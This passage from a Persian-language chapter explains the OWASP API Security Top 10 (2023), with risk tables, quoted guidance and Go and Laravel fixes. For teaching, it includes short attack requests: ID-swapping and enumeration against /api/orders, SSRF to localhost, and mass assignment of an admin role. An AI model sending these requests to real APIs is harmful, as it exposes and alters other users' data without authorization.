Skip to content

OWASP API Security Top 10 (2023): BOLA, BOPLA, BFLA, Business Flows, Inventory, Unsafe Consumption ​

"The OWASP API Security Top 10 2023 is a forward-looking awareness document for a fast pace industry. It does not replace other TOP 10's." — OWASP API Security Top 10 2023, Release Notes

خلاصه: API نقشهٔ اشیا و تابع‌هایش را به کلاینت می‌دهد: /orders/{id}، /admin/users، PATCH /me، POST /checkout. بیشتر نفوذها exploit پیچیده نیستند؛ کلاینت با توکن معتبر نقشه را دنبال می‌کند و سرور نمی‌پرسد «آیا تو مجازی به این شیء دست بزنی، این تابع را اجرا کنی، این ویژگی را بخوانی یا بنویسی، یا این جریان را هزار بار اجرا کنی؟». OWASP API Security Top 10 سال ۲۰۲۳ این شکست‌ها را نام‌گذاری می‌کند. این فصل شش خطر ویژهٔ API را کامل باز می‌کند: API1 BOLA، API3 BOPLA، API5 BFLA، API6 Business Flows، API9 Inventory و API10 Unsafe Consumption. چهار خطر دیگر هرکدام یک بند و پیوند به فصل تخصصی دارند. برای هر خطر endpoint آسیب‌پذیر و اصلاح‌شده در Go و Laravel 13 داریم؛ تست‌ها نشت و سپس توقفش را نشان می‌دهند. تمرکز: مجوز شیء، ویژگی و تابع را جدا می‌کنیم؛ در API1 BOLA و IDOR می‌بینیم چرا UUID در برابر شناسهٔ ترتیبی فقط پیمایش شناسه‌ها را دشوار می‌کند و جای بررسی مالکیت را نمی‌گیرد. پرس‌وجو (Query) محدود به مالک، امنیت سطری و شیء انتقال داده (DTO) در ورودی و خروجی جلوی BOLA و دو سمت API3 BOPLA، یعنی افشای بیش‌ازحد داده (Excessive data exposure) و انتساب انبوه (Mass assignment)، را می‌گیرند. ابزارها شامل $fillable، $guarded، #[Fillable]، #[Hidden] و DisallowUnknownFields هستند. رد پیش‌فرض مسیر مدیریتی هنگام ثبت، دست‌کاری متد در API5 BFLA، سوءاستفادهٔ ربات‌ها و خرید احتکاری در API6، سقف کاربر و منبع، اثرانگشت دستگاه و الگوی غیرانسانی را بررسی می‌کنیم. احراز هویت مجدد (Re-authentication) برای تغییر حساس، سقف صفحه و batch و هزینه، SSRF، problem details و CORS را در ارتباط با API مرور می‌کنیم. در API9، فهرست API با OpenAPI، کشف API سایه (Shadow API) و API زامبی (Zombie API)، نسخه‌بندی و Deprecation/Sunset/۴۱۰ را دنبال می‌کنیم. در API10، اعتماد به شخص ثالث، کنترل redirect، سقف زمان و اندازه و اعتبارسنجی پاسخ بالادستی موضوع‌اند. جای middleware مجوز، Policy object، Laravel Policies، Gate، Form Request و API resource، رخداد authz_fail و هشدار آن، ارجاع‌های CWE و جدول ریسک OWASP با محورهای بهره‌برداری، شیوع، تشخیص‌پذیری و اثر نیز روشن می‌شود. هدف یادگیری: برای هر endpoint خطرهایش و درخواست اثبات‌کننده را بنویسید: تعویض شناسه، افزودن ویژگی، تغییر متد، تکرار جریان، فراخوانی نسخهٔ قدیمی یا مسموم‌کردن پاسخ بالادستی. اصلاح Go شامل بررسی مالکیت از context، جدول مسیر الزام‌کنندهٔ policy، DTOهای ورودی و خروجی، محافظ جریان، نصب مسیر از OpenAPI با هدرهای چرخهٔ عمر و کلاینت سخت‌شده است. در Laravel 13 از Policy با denyAsNotFound، Gate::authorize، middleware با can: و #[Middleware]، Form Request با prohibited، JsonResource، RateLimiter::for با چند سقف، middleware چرخهٔ عمر و کلاینت Http با allow_redirects => false استفاده کنید. تست دوکاربره باید جلوی برگشت باگ را بگیرد.

موضوع این فصل خطرهای ویژهٔ API است. فهرست وب شامل injection، XSS، CSRF، هدرها، debug mode و SSRF با بررسی IP هنگام اتصال در OWASP Top 10 آمده است. RBAC، ABAC، ReBAC، policy engine و Zero Trust در مدل‌های مجوز هستند. گذرواژه، MFA و نشست در احراز هویت، قالب و جریان توکن در JWT عمیق و OAuth 2.0، OIDC و SSO توضیح داده شده‌اند و اینجا تکرار نمی‌شوند. الگوریتم‌ها در محدودیت نرخ، طراحی منبع و نسخه در طراحی REST API و نسخه‌بندی API، و سخت‌سازی هدر، ورودی و CI/CD در چک‌لیست امنیت API است. API key، امضای درخواست HMAC و امضای webhook در کلیدهای API، امضای درخواست و webhook آمده‌اند. جزئیات Go در احراز هویت در Go و Middlewareها، قالب شناسه در تولید شناسه، و gateway در API gateway، BFF و service mesh قرار دارند.

نقشهٔ صفحه ​

اگر دنبال این هستیدبروید به
ده خطر، امتیازها و تغییرهای 2019 → 2023 در سه جدولهمه‌چیز در یک دقیقه
چرا API با صفحهٔ وب متفاوت شکست می‌خوردچرا وجود دارد
ویرایش‌ها، روش‌شناسی، امتیاز ریسک و NIST SP 800-228از کجا آمده
درخواست GET /orders/1002 با توکن AnaAPI1 BOLA
شناسهٔ ترتیبی، UUIDv4 در برابر UUIDv7 و enumerationUUID در برابر شناسهٔ ترتیبی
ورود ضعیف، توکن در URL و نبود Re-authenticationAPI2 Broken Authentication
وجود password_hash در پاسخ و role در درخواستAPI3 BOPLA
هزینهٔ ?limit=10000000، batch در GraphQL و قبض SMSAPI4 Resource Consumption
جایگزینی GET با DELETE و کشف /api/admin/v1/users/allAPI5 BFLA
خرید احتکاری، ثبت‌نام جعلی و نگه‌داشتن صندلی‌هاAPI6 Business Flows
واکشی picture_url=localhost:8080API7 SSRF
stack trace، بازتاب CORS و نبود TLSAPI8 Misconfiguration
میزبان beta، نسخهٔ قدیمی و مسیر مستندنشدهAPI9 Inventory
شریکی که POST شما را به مهاجم redirect می‌کندAPI10 Unsafe Consumption
تفاوت middleware، policy و Query scopeMiddleware مجوز و Policy object
رخدادهای authz_fail و هشدارهایشانثبت و هشدار شکست مجوز
بررسی GraphQL node(id:)، gRPC و webhookفراتر از REST
کدهای وضعیت، تنظیم‌ها و ارجاع‌های CWEسازوکار
کدهای عملیGo، Laravel
یافته‌های pentest و بستن آن‌هاحل مسئله‌های کلاسیک
تست دوکاربره، scanner و مقایسهٔ specآزمون
انتخاب کنترل متناسب با endpointانتخاب
از مونولیت تا سیستم توزیع‌شدهدر معماری
تمرین عملیآزمایشگاه

همه‌چیز در یک دقیقه ​

فهرست ۲۰۲۳. هر سطر در کاتالوگ باز می‌شود. «همین‌جا» یعنی توضیح کامل در این صفحه؛ پیوند یعنی یک بند اینجا و توضیح کامل در فصل تخصصی.

خطربه زبان سادهexploit کوچکاولین اصلاحعمق
API1 Broken Object Level Authorization (BOLA)سرور هویت را می‌سنجد، ولی تعلق شیء را نهGET /api/orders/1002 با توکن صاحب 1001بررسی مجوز شیء در هر دسترسی؛ Query محدود به مالک و tenantهمین‌جا
API2 Broken Authenticationراه ورود ضعیف استتغییر ایمیل با توکن دزدیده‌شده، سپس «فراموشی گذرواژه»Re-authentication برای تغییر حساس؛ احراز هویت استاندارداحراز هویت
API3 Broken Object Property Level Authorization (BOPLA)دیدن شیء مجوز همهٔ فیلدها نیست؛ ویرایش بعضی فیلدها مجوز همه نیستپاسخ حاوی password_hash؛ PATCH /me با "role":"admin"DTO پاسخ و ورودی؛ فهرست مجاز ویژگی‌ها در هر دو جهتهمین‌جا
API4 Unrestricted Resource Consumptionیک درخواست هزینهٔ CPU، حافظه یا پول دارد?limit=10000000؛ 999 mutation در یک batch از GraphQLسقف صفحه، بدنه، batch، timeout و هزینهمحدودیت نرخ
API5 Broken Function Level Authorization (BFLA)کاربر عادی تابع مدیریتی را اجرا می‌کندDELETE /api/users/2؛ GET /api/admin/v1/users/allرد پیش‌فرض؛ policy نقش برای هر مسیر و متدهمین‌جا
API6 Unrestricted Access to Sensitive Business Flowsقابلیت درست با اجرای اسکریپتی به کسب‌وکار آسیب می‌زندربات همهٔ موجودی عرضهٔ کنسول را می‌خردنام‌گذاری جریان حساس؛ سقف کاربر، دستگاه و منبع؛ نشانه‌های رباتهمین‌جا
API7 Server Side Request ForgeryAPI آدرس انتخابی مهاجم را واکشی می‌کند{"picture_url":"localhost:8080"}فهرست مجاز میزبان، scheme و port؛ fetcher جدا؛ بررسی IP هنگام اتصالOWASP Top 10
API8 Security Misconfigurationپیش‌فرض‌ها و خطای پرجزئیاتstack trace حاوی SQL؛ CORS بازتاب‌دهندهٔ هر originپیکربندی سخت‌شده به‌صورت کد؛ خطای عمومی؛ CORS دقیقOWASP Top 10
API9 Improper Inventory Managementکسی همهٔ میزبان‌ها، نسخه‌ها و مسیرها را نمی‌شناسدbrute force کد reset روی beta.api… بدون limiterفهرست API با OpenAPI، بازنشستگی، حفاظت یکسان همهٔ نسخه‌هاهمین‌جا
API10 Unsafe Consumption of APIsبه دادهٔ شریک بیشتر از ورودی کاربر اعتماد می‌کنیدشریک 308 به attacker.com می‌دهد و POST دنبال می‌کندTLS، timeout، بدون redirect کور، سقف اندازه و اعتبارسنجی پاسخ بالادستیهمین‌جا

جدول ریسک: بهره‌برداری (Exploitability)، شیوع (Prevalence)، تشخیص (Detectability) و اثر (Impact). امتیازها با OWASP Risk Rating Methodology محاسبه می‌شوند: Exploitability و Detectability دارای Easy ۳، Average ۲ و Difficult ۱ هستند؛ Prevalence دارای Widespread ۳، Common ۲ و Difficult ۱؛ اثر فنی هم Severe ۳، Moderate ۲ و Minor ۱. عامل تهدید در همهٔ سطرها "API Specific" و اثر کسب‌وکار "Business Specific" است. مقدارهای زیر از صفحهٔ هر خطر آمده‌اند:

خطرExploitabilityPrevalenceDetectabilityاثر فنیارجاع‌های کلیدی CWE در صفحهٔ خطر
API1 BOLAEasyWidespreadEasyModerateCWE-285, CWE-639
API2 Broken AuthenticationEasyCommonEasySevereCWE-204, CWE-307
API3 BOPLAEasyCommonEasyModerateCWE-213, CWE-915
API4 Resource ConsumptionAverageWidespreadEasySevereCWE-770, CWE-400, CWE-799
API5 BFLAEasyCommonEasySevereCWE-285
API6 Business FlowsEasyWidespreadAverageModerateموردی ذکر نشده
API7 SSRFEasyCommonEasyModerateCWE-918
API8 MisconfigurationEasyWidespreadEasySevereCWE-2, CWE-16, CWE-209, CWE-319, CWE-388, CWE-444, CWE-942
API9 InventoryEasyWidespreadAverageModerateCWE-1059
API10 Unsafe ConsumptionEasyCommonAverageSevereCWE-20, CWE-200, CWE-319

۲۰۱۹ → ۲۰۲۳. یادداشت انتشار: "We've combined Excessive Data Exposure and Mass Assignment focusing on the common root cause: object property level authorization validation failures."

2023منشأ در 2019تغییر
API1 BOLAAPI1نام ثابت، همچنان اول
API2 Broken AuthenticationAPI2 Broken User Authenticationتغییر نام؛ پوشش احراز هویت ماشین‌به‌ماشین بین microserviceها
API3 BOPLAAPI3 Excessive Data Exposure + API6 Mass Assignmentادغام بر پایهٔ ریشهٔ مشترک: مجوز در سطح ویژگی
API4 Unrestricted Resource ConsumptionAPI4 Lack of Resources & Rate Limitingتمرکز بر هزینه و منابع، فراتر از نرخ درخواست
API5 BFLAAPI5بدون تغییر
API6 Sensitive Business Flowsجدید"most of those that can be mitigated using rate limiting"
API7 SSRFجدیدwebhook، پیش‌نمایش URL و metadata ابر
API8 Security MisconfigurationAPI7یک ردیف پایین‌تر
API9 Improper Inventory ManagementAPI9 Improper Assets Managementتغییر نام؛ افزودن نقاط کور جریان داده
API10 Unsafe Consumption of APIsجدیدمهاجم سراغ integrationهای شما می‌رود
حذف‌شدهAPI8 Injection, API10 Insufficient Logging & Monitoringدیگر مدخل جدا ندارند؛ injection در سناریوهای API10 زنده است و API6 هنوز "API10:2019 Insufficient Logging & Monitoring" را در منابع دارد
API Security Top 10 – 2019API Security Top 10 – 2023API1 Broken Object Level AuthorizationAPI1 Broken Object Level AuthorizationAPI2 Broken User AuthenticationAPI2 Broken AuthenticationAPI3 Excessive Data ExposureAPI3 Broken Object Property Level AuthzAPI4 Lack of Resources & Rate LimitingAPI4 Unrestricted Resource ConsumptionAPI5 Broken Function Level AuthorizationAPI5 Broken Function Level AuthorizationAPI6 Mass AssignmentAPI6 Sensitive Business Flows (new)API7 Security MisconfigurationAPI7 Server Side Request Forgery (new)API8 InjectionAPI8 Security MisconfigurationAPI9 Improper Assets ManagementAPI9 Improper Inventory ManagementAPI10 Insufficient Logging & MonitoringAPI10 Unsafe Consumption of APIs (new)API8:2019 Injection: dropped as its own entry(still in API10 and API8 guidance)API10:2019 Logging: dropped as its own entry(this page keeps authz_fail alerting)Arrows: same or merged risk. Red on the right: new in 2023. Yellow: the 2019 pair merged into API3.

چرا وجود دارد ​

صفحهٔ وبی که در سرور رندر می‌شود تعیین می‌کند کاربر چه ببیند؛ HTML فقط دکمه‌های مجاز او را دارد. API تابع‌ها و اشیای خام را می‌دهد و انتخاب نمایش را به کلاینت می‌سپارد. پس سه تصمیمی که فریم‌ورک وب پنهان می‌کرد باید در سرور صریح شوند: این فراخواننده به کدام اشیا دسترسی دارد، کدام تابع‌ها را می‌تواند اجرا کند و کدام ویژگی‌ها را می‌تواند بخواند یا بنویسد. صفحهٔ API1 علت را چنین بیان می‌کند: سرور "usually does not fully track the client's state, and instead, relies more on parameters like object IDs, that are sent from the client to decide which objects to access." کلاینت ماشینی خستگی‌ناپذیر (API4، API6)، میزبان و نسخه‌ای که سریع‌تر از مستندات تکثیر می‌شوند (API9)، و integration با دادهٔ اعتبارسنجی‌نشده (API10) را اضافه کنید. نتیجه فقط بخشی از فهرست Top 10 وب را تکرار می‌کند.

انتخابسودهزینه
findOrFail($id) / store.Get(id) عمومییک خط برای هر endpointهر endpoint شناسه‌گیر نامزد BOLA است
Query محدودشده و Policy object برای هر منبعبا حدس مسیر هم پابرجاست؛ آزمون‌پذیرtenant و مالک در همهٔ Queryها؛ تست policy
سریال‌سازی مدل (toJson، json.Marshal(user))بدون کد DTOهر ستون جدید پیش‌فرض نشت می‌کند؛ excessive data exposure
DTO پاسخ و ورودیستون جدید تا انتشار خصوصی است؛ نوشتن صریح استیک کلاس برای هر شکل داده
پنهان‌کردن مسیر مدیریتی فقط در UIسریعخوانندهٔ بستهٔ JavaScript مسیر را پیدا می‌کند؛ BFLA
جدول مسیر با policy مشخص برای هر مسیررد پیش‌فرض؛ مرور در یک فایلکد تکراری برای هر مسیر
جریان باز برای هر کلاینت احراز‌شدهتجربهٔ کاربری بی‌اصطکاکربات هر منبع کمیاب را می‌برد؛ API6
سقف هر جریان، نشانهٔ دستگاه و challengeدسترسی منصفانهاصطکاک برای بعضی انسان‌ها؛ تنظیم مداوم
زنده‌نگه‌داشتن نسخهٔ قدیمی «برای احتیاط»هیچ کلاینتی نمی‌شکندZombie API با ضعف قدیمی؛ API9
اعتماد به پاسخ شریکintegration سریعنفوذ به او، injection یا نشت دادهٔ شماست؛ API10

تصویری از زندگی روزمره. هتل را تصور کنید. پذیرش گذرنامه را می‌سنجد و کارت کلید می‌دهد: احراز هویت (Authentication)، یعنی API2. کارت اتاق ۴۱۲ را باز می‌کند، نه ۴۱۳: مجوز در سطح شیء (Object-level authorization)، یعنی API1. باشگاه باز می‌شود ولی راهروی کارکنان نه: مجوز در سطح تابع (Function-level authorization)، یعنی API5. داخل اتاق مینی‌بار مجاز است، ولی برنامه‌ریزی قفل یا خواندن پروندهٔ مهمان قبلی نه، هرچند هر دو «داخل اتاق شما» هستند: مجوز در سطح ویژگی (Property-level authorization)، یعنی API3. رزرو همهٔ اتاق‌های شب سال نو با نام جعلی و لغو در روز ۳۰ هیچ قفلی را نمی‌شکند؛ سوءاستفاده از جریان کسب‌وکار است، API6. در جانبی ثبت‌نشدهٔ دوران بازسازی که باز مانده Shadow API است؛ بال قدیمی «بسته‌شده» با درهای فعال Zombie API است، API9. شرکت رخت‌شویی کیسه‌هایی با محتویات نامعلوم می‌دهد و شما بی‌بررسی در اتاق‌ها می‌گذارید: Unsafe Consumption، یعنی API10. در ادامه از همین هتل استفاده می‌کنیم.

سه بدفهمی رایج، از همان ابتدا ​

  1. «JWT داریم، پس مجوز حل است.» توکن هویت و شاید نقش را می‌گوید؛ نمی‌گوید سفارش ۱۰۰۲ مال فراخواننده است. API1 صریح است: "Comparing the user ID of the current session (e.g. by extracting it from the JWT token) with the vulnerable ID parameter isn't a sufficient solution to solve Broken Object Level Authorization (BOLA). This approach could address only a small subset of cases."
  2. «شناسه‌ها UUID هستند، پس کسی حدس نمی‌زند.» شناسه در URL، لاگ، لینک مشترک، ایمیل و پاسخ API دیگر نشت می‌کند. OWASP شناسهٔ تصادفی را لایهٔ اضافه توصیه می‌کند. RFC 9562 هشدار می‌دهد پیاده‌سازی‌ها "SHOULD NOT assume that UUIDs are hard to guess" و UUIDها "MUST NOT be used as security capabilities (identifiers whose mere possession grants access)."
  3. «محدودیت نرخ ربات را حل می‌کند.» سقف IP یک لپ‌تاپ را متوقف می‌کند؛ سناریوی API6 "distributed across different IP addresses and locations" اجرا می‌شود و هر درخواست معتبر است. حفاظت جریان تعیین می‌کند یک شخص، دستگاه یا خوشهٔ حساب چه مقدار از جریان مصرف کند؛ این پیش از تصمیم فنی، تصمیم محصول است.

از کجا آمده ​

  • OWASP API Security Project. ویرایش نخست در ۲۰۱۹ منتشر شد؛ از API1:2019 Broken Object Level Authorization تا API10:2019 Insufficient Logging & Monitoring. یادداشت انتشار ۲۰۲۳ آن را "the second edition of the OWASP API Security Top 10 edition, exactly four years after its first release." می‌نامد.
  • روش‌شناسی. فراخوان عمومی داده "ran from September 1st and November 30th, 2022"؛ یادداشت انتشار می‌پذیرد "no data was contributed". پس تجربهٔ تیم، مرور متخصصان و بازخورد جامعه مبنا شد. دادهٔ رخدادهای پلتفرم‌های bug bounty و گزارش‌های عمومی ۲۰۱۹ تا ۲۰۲۲ جهت دادند. بخش ریسک: "Since this edition is not data-driven, prevalence results from a consensus among the team members."
  • امتیاز ریسک. "The OWASP Risk Rating Methodology was used to do the risk analysis." مقیاس Easy ۳، Average ۲، Difficult ۱؛ Widespread، Common، Difficult؛ و Severe، Moderate، Minor در همه‌چیز در یک دقیقه آمده است. رتبه‌بندی "does not take into account the actual impact on your business" و هدف Top 10 "not to do this risk analysis for you" است.
  • تازه‌ها. چهار تغییر: ادغام BOPLA، تأکید بیشتر بر مصرف منابع، دستهٔ تازهٔ جریان حساس "to address new threats, including most of those that can be mitigated using rate limiting" و Unsafe Consumption of APIs، چون "attackers have started looking for a target's integrated services to compromise those, instead of hitting the APIs of their target directly."
  • NIST SP 800-228، Guidelines for API Protection for Cloud-Native Systems، منتشرشده در ژوئن ۲۰۲۵ و به‌روزشده در ۱۳ مارس ۲۰۲۶، مسئلهٔ فهرست APIها را با زبان اسناد دولتی بیان می‌کند: "The enterprise estate cannot be protected without an accurate API inventory". تعریف "Rogue or shadow APIs"، APIهایی است که "defined for internal use (e.g., debugging, testing, ad hoc solutions to business problems)" و "often bypass standard security review practices" هستند. "Zombie or deprecated APIs" هم "have been replaced or superseded by newer systems but have not yet been entirely removed". توصیهٔ REC-API-4.2 خواستار "Organizational API inventory of all internal (including shadow and Zombie APIs) and external APIs" است. صفحهٔ CSRC متن اولیهٔ ژوئن ۲۰۲۵ می‌گوید "Withdrawn on March 13, 2026. Superseded by SP 800-228"؛ ارجاع اینجا به به‌روزرسانی است.
  • رابطه با فهرست وب. API1 شکل APIِ IDOR در A01:2021 است؛ API7 معادل A10:2021 SSRF و API8 معادل A05:2021. سازوکارهای عمومی در OWASP Top 10 و زاویهٔ API در این صفحه‌اند.
  • یادداشت نسخه. نقل‌قول‌ها از صفحات ۲۰۲۳ در owasp.org/API-Security/editions/2023/en/ با تاریخ مطالعهٔ ۲۰۲۶-۱۱-۲۹ هستند. ویرایش ۲۰۲۷ ممکن است ترتیب فهرست را عوض کند؛ سازوکارها تغییر نمی‌کنند.

کاتالوگ مفاهیم ​

API1 Broken Object Level Authorization (BOLA): بررسی مجوز در سطح شیء حیاتی ​

به زبان ساده: API کارت کلید را دم در می‌سنجد، سپس هر شماره‌اتاقی را که تایپ کنید باز می‌کند. وارد شده‌اید و endpoint مجاز است، ولی شیء پشت شناسه مال دیگری است.

بدفهمی رایج: «BOLA همان نبود بررسی ورود است.» نه؛ فراخواننده در BOLA باید به endpoint برسد. مرز OWASP دقیق است: "In the case of BOLA, it's by design that the user will have access to the vulnerable API endpoint/function. The violation happens at the object level, by manipulating the ID. If an attacker manages to access an API endpoint/function they should not have access to - this is a case of Broken Function Level Authorization (BFLA) rather than BOLA." مقایسهٔ sub توکن JWT با user_id مسیر هم فقط /users/{id} را پوشش می‌دهد، نه /orders/{id}، /shops/{shopName}/revenue_data.json یا VIN.

تعریف: مجوز در سطح شیء (Object-level authorization) چنین تعریف می‌شود: "Object level authorization is an access control mechanism that is usually implemented at the code level to validate that a user can only access the objects that they should have permissions to access." قاعدهٔ OWASP: "Every API endpoint that receives an ID of an object, and performs any action on the object, should implement object-level authorization checks." نام قدیمی همین شکست در وب IDOR یا Insecure Direct Object Reference است. cheat sheet مربوط به IDOR سه جزء را می‌گوید: شیء، ارجاع یعنی "an ID, UUID, account number, token or slug"، و "A missing object-level authorization check". ارجاع‌ها CWE-639 Authorization Bypass Through User-Controlled Key و CWE-285 Improper Authorization هستند. CWE-862 Missing Authorization و CWE-863 Incorrect Authorization کلاس‌های مرتبط MITRE هستند که در صفحهٔ OWASP نیامده‌اند.

     Ana (user 41, tenant 7)                         API (authenticated, no object check)
 1   GET /api/orders/1001   Bearer tok-ana           -> 200 {"id":1001,"owner_id":41,...}     hers
 2   GET /api/orders/1002   Bearer tok-ana           -> 200 {"id":1002,"owner_id":57,...}     BOLA: Bob's order
 3   for id in 1000..99999: GET /api/orders/$id      -> every order of every customer          enumeration
 4   DELETE /api/orders/1003 (same handler pattern)  -> 204                                    data loss
     fix: SELECT ... WHERE id = $1 AND tenant_id = $2 AND owner_id = $3, then policy check
 5   GET /api/orders/1002   Bearer tok-ana           -> 404 (identical to /orders/999999) + authz_fail log line

سناریوهای واقعی؛ سه مورد نخست از OWASP: میزبان تجارت الکترونیکی /shops/{shopName}/revenue_data.json را منتشر می‌کند و اسکریپت با نام‌های endpoint دیگر، "the sales data of thousands of e-commerce stores" را می‌خواند؛ API موبایل خودروساز موتور را روشن و در را با VIN باز می‌کند، بی‌بررسی تعلق VIN؛ سرویس سند هر گزارش در mutationِ deleteReports از GraphQL را حذف می‌کند. نمونه‌های دیگر: SaaS چندمستأجری با tenant_id از بدنه؛ ابزار پشتیبانی که «پشتیبانی همه را می‌بیند» را به «هرکس URL را دارد» تبدیل کرده؛ endpoint تولید presigned URL که هر کلید شیء انتخابی کلاینت را امضا می‌کند.

شناسه کجا پنهان استنمونهتشخیصاصلاح
مسیرGET /orders/{id}دو کاربر تست؛ تعویض شناسهQuery محدودشده و policy
Query string?account=123بازپخش با توکن Bهمان؛ ترجیح /me/...
بدنه{"user_id": 12345} در به‌روزرسانیمقایسهٔ شناسه‌های بدنه با توکنsubject از نشست؛ نادیده‌گرفتن شناسهٔ بدنه
هدرX-Tenant-Id: 8تغییر هدرtenant فقط از principal احراز‌شده
GraphQLnode(id: "T3JkZXI6MTAwMg==")، mutationهای batchdecode شناسهٔ سراسری و بازپخشمجوز در هر resolver، نه gateway
کلید فایل/files/invoices/2026/1002.pdfحدس نام‌هانگاشت شناسهٔ عمومی به کلید ذخیره‌شده پس از بررسی
منبع تو‌در‌تو/shops/7/orders/1002 با 1002 متعلق به فروشگاه 8ترکیب شناسهٔ والد و فرزندمحدودکردن فرزند با والد (scopeBindings)

چه چیزی جلویش را می‌گیرد؛ به ترتیب "How To Prevent" در OWASP: "Implement a proper authorization mechanism that relies on the user policies and hierarchy"؛ استفاده از آن "in every function that uses an input from the client to access a record in the database"؛ "Prefer the use of random and unpredictable values as GUIDs for records' IDs"؛ و "Write tests to evaluate the vulnerability of the authorization mechanism. Do not deploy changes that make the tests fail."

لایهGoLaravel 13پایگاه داده
چه کسی صدا می‌زندprincipal.From(r.Context()) از middleware احراز هویت$request->user() از auth:sanctumSET LOCAL app.tenant_id در هر تراکنش (Transaction)
بارگذاری فقط دادهٔ مجازGetScoped(id, tenant, owner)Order::where('tenant_id', …)->findOrFail($id)، $user->orders()->findOrFail($id)WHERE id = $1 AND tenant_id = $2
تصمیمتابع policy با CanView(u, o)OrderPolicy::view و Gate::authorize('view', $order)Policy امنیت سطری (Row-level security) در PostgreSQL
پاسخ404 یکسان برای بیگانه و ناموجودResponse::denyAsNotFound()کاربرد ندارد
ثبتslog با authz_failGate::after → Log::warning('authz_fail')pgAudit اختیاری

اصلاح / روش استفاده: اول SQL: مالک و tenant در WHERE؛ حل BOLA. در Go بررسی مالکیت در handler با فراخواننده از context، هرگز از درخواست؛ Go. در Laravel، Laravel Policies و Query محدود به tenant؛ Laravel. مدل‌های عمومی در مدل‌های مجوز هستند.

UUID در برابر شناسهٔ ترتیبی و پیمایش شناسه‌ها مهم ​

به زبان ساده: شناسهٔ ترتیبی BOLA را به حلقهٔ for تبدیل می‌کند. شناسهٔ تصادفی حلقه را بی‌فایده می‌کند، ولی در را قفل نمی‌کند.

بدفهمی رایج: «UUID، BOLA را اصلاح می‌کند.» فقط پیمایش شناسه‌ها (Enumeration)، راه ارزان یافتن هدف، حذف می‌شود. برای شناسهٔ نشت‌کرده کاری نمی‌کند: لینک ایمیل، تصویر مشترک، هدر referrer، لاگ، پاسخ API دیگر یا integration شریک کافی است. سناریوی API3 در OWASP، mutation گزارش کاربر را نشان می‌دهد که id کاربر گزارش‌شده را برمی‌گرداند. cheat sheet مربوط به IDOR: "even with complex identifiers, access control checks are essential."

تعریف: Enumeration کشف شناسهٔ معتبر با آزمودن ترتیب یا الگوست. UUID نسخهٔ 4 دارای ۱۲۲ بیت تصادفی است. UUID نسخهٔ 7 در RFC 9562، timestamp میلی‌ثانیه‌ای را در ۴۸ بیت نخست می‌گذارد و سپس بیت‌های تصادفی را؛ پس مرتب‌سازی زمانی و رفتار خوب index را با سختی حدس جمع می‌کند، به‌شرط تولید بخش تصادفی با CSPRNG. بخش ۶.۹ از RFC 9562 می‌گوید پیاده‌سازی‌ها "SHOULD utilize a cryptographically secure pseudorandom number generator". بخش ۸ تأکید می‌کند: "Implementations SHOULD NOT assume that UUIDs are hard to guess."

 1  ids 1001, 1002, 1003 ...      attacker: for i in 1..N  -> N requests find every object
 2  ids UUIDv4 / UUIDv7          attacker: cannot iterate; needs a leaked id
 3  leaked UUID (email, log)     attacker: GET /orders/0193f0f2-...  -> still 200 without the object check
 4  with the object check        -> 404 for every id that is not the caller's, sequential or not
روش شناسهEnumerationمحلی‌بودن indexنشتکاربرد
bigint identity / AUTO_INCREMENTبسیار سادهعالیحجم؛ سفارش 1002 یعنی حدود 1000 سفارشکلید داخلی؛ هرگز تنها دفاع نباشد
UUIDv4غیرعملیضعیف؛ insert تصادفیهیچستون شناسهٔ عمومی
UUIDv7برای بخش تصادفی غیرعملیخوب؛ ترتیب زمانیزمان ساختشناسهٔ عمومی و کلید اصلی
ULIDمانند UUIDv7خوبزمان ساختهمان؛ قالب غیر RFC
Hashids / عدد صحیح رمزشدهبا نشت کلید برگشت‌پذیرکاربرد نداردترتیب پس از decodeOWASP: "Avoid encrypting identifiers"

تولید شناسه در مقیاس، شامل Snowflake، ULID و جزئیات UUIDv7، در تولید شناسه آمده است.

API2 Broken Authentication مهم ​

به زبان ساده: قفل در ورودی ضعیف است: گذرواژهٔ حدس‌زدنی، حدس نامحدود، توکن در URL، یا توکن دزدیده‌شده‌ای که برای تصاحب کل حساب کافی است.

بدفهمی رایج: «احراز هویت ما OAuth است.» API2 می‌گوید: "OAuth is not authentication, and neither are API keys." همچنین: "API keys should not be used for user authentication. They should only be used for API clients authentication."

تعریف و توضیح ویژهٔ این صفحه: API2 شامل credential stuffing و brute force بدون lockout یا captcha است؛ از جمله batch در GraphQL برای دورزدن "three requests are allowed per minute". گذرواژهٔ ضعیف، توکن و گذرواژه در URL، JWT بدون امضا یا با alg: none، انقضای بررسی‌نشده، hash ضعیف و سرویس‌های microservice قابل‌دسترسی "without authentication" هم در همین دسته‌اند. درس ویژهٔ API در سناریوی دوم OWASP، Re-authentication است: پذیرش تغییر ایمیل فقط با bearer token به دزد توکن اجازه می‌دهد ایمیل حساب را عوض کند و «فراموشی گذرواژه» بزند. قاعده: "Require re-authentication for sensitive operations (e.g. changing the account owner email address/2FA phone number)". endpointهای "Credential recovery/forgot password endpoints" را برای محدودیت نرخ و lockout مثل ورود ببینید. نمونه‌های Go authn و Laravel ChangeEmailRequest همین اصلاح را نشان می‌دهند. گذرواژه، MFA، نشست و lockout در احراز هویت، اعتبارسنجی توکن در JWT عمیق، و جریان‌ها در OAuth 2.0، OIDC و SSO هستند. ارجاع‌ها: CWE-204 Observable Response Discrepancy و CWE-307 Improper Restriction of Excessive Authentication Attempts.

API3 Broken Object Property Level Authorization (BOPLA): Excessive data exposure و Mass assignment حیاتی ​

به زبان ساده: دیدن فهرست مهمان‌ها مجوز دیدن شمارهٔ گذرنامه‌شان نیست؛ تغییر بالش مجوز تغییر نرخ اتاق نیست. BOPLA یعنی سرور فراموش کرده مجوز تا سطح فیلد ادامه دارد: در خروجی فیلدی می‌فرستد که نباید بخوانید؛ در ورودی فیلدی می‌پذیرد که نباید بنویسید.

بدفهمی رایج: «کلاینت فقط نام و avatar را نشان می‌دهد، پس باقی JSON مهم نیست.» پاسخ خود داده است؛ هرکس proxy داشته باشد همه را می‌خواند. متن ۲۰۱۹ صریح بود: "Never rely on the client side to filter sensitive data." همتای نوشتن این باور، «فیلدهای موردانتظار را اعتبارسنجی می‌کنیم» است. اعتبارسنجی فیلدهای موردانتظار، فیلد غیرمنتظره را رد نمی‌کند؛ فریم‌ورکی که کل بدنه را bind می‌کند همچنان role را می‌نویسد.

